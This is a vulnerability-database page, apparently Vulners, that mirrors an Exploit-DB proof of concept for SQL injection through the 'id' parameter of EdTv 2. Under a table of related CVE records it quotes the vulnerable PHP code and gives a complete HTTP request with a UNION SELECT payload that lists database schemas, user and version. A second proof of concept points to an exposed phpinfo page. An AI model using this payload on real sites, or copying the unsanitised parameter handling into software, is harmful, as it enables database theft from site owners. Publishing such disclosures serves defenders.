Lucene search
+L

EdTv 2 - 'id' SQL Injection (SQLi)

🗓️ 14 Nov 2018 00:00:00Reported by Ihsan SencanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

'EdTv 2 - id' SQL Injection in edtv softwar

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2018-25171
6 Mar 202612:19
–attackerkb
circl
Circl
CVE-2018-25171
6 Mar 202614:23
–circl
cnnvd
CNNVD
EdTv code-related vulnerabilities
6 Mar 202600:00
–cnnvd
cve
CVE
CVE-2018-25171
6 Mar 202612:19
–cve
cvelist
Cvelist
CVE-2018-25171 EdTv 2 SQL Injection via id Parameter
6 Mar 202612:19
–cvelist
euvd
EUVD
EUVD-2018-21626
6 Mar 202615:31
–euvd
nvd
NVD
CVE-2018-25171
6 Mar 202613:15
–nvd
ptsecurity
Positive Technologies
PT-2026-23683
6 Mar 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-25171: Unrestricted Upload of File with Dangerous Type
6 Mar 202600:00
–rapid7
vulnrichment
Vulnrichment
CVE-2018-25171 EdTv 2 SQL Injection via id Parameter
6 Mar 202612:19
–vulnrichment
# Exploit Title: EdTv 2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://edtv.edsup.org/
# Software Link: https://ayera.dl.sourceforge.net/project/edtv/beta/edtv2go.zip
# Version: 2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# Improper access restrictions...
# http://localhost/[PATH]:4001/edtv/index.php/admin/edit_source&?id=[SQL]
#

# edtv//admin//edit_source.php
# ....
#02   $title="แก้ไขแหล่งข้อมูลสื่อ";
#03    $menu_def="edit_source";
#04   include("data_menu.php");
#05
#06   load_fun("media");
#07
#08   if($_POST['title']&&$_POST['url']){
#09       $ret=update_source($_GET['id'],$_POST['title'],$_POST['url']);
#10   }
#11
#12   if($ret)redirect("admin/data_manage");
#13
#14   $data=get_source($_GET['id']);
# ....

# edtv//admin//data_menu.php
# ....
#14         'edit_source' => array(
#15 		'title'=>'แก้ไขแหล่งข้อมูล',
#16 		'url'=>'admin/edit_source&?id='.$_GET['id'],
#17 		'cond'=>$_GET['id']>0,
#18 	),
# ....


GET /[PATH]/edtv/index.php/admin/edit_source&?id=-1%20union%20select%201,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--%20- HTTP/1.1
Host: TARGET:4001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c826ffd1a4578bd07c258a5be3ab3482; token_id=1542049202
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 19:00:38 GMT
Server: Apache/2.2.15 (Win32) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5224
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

# POC:
# 2)
# Phpinfo()
# http://localhost/[PATH]:4001/edtv/info.php
#

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.0058
SSVC
38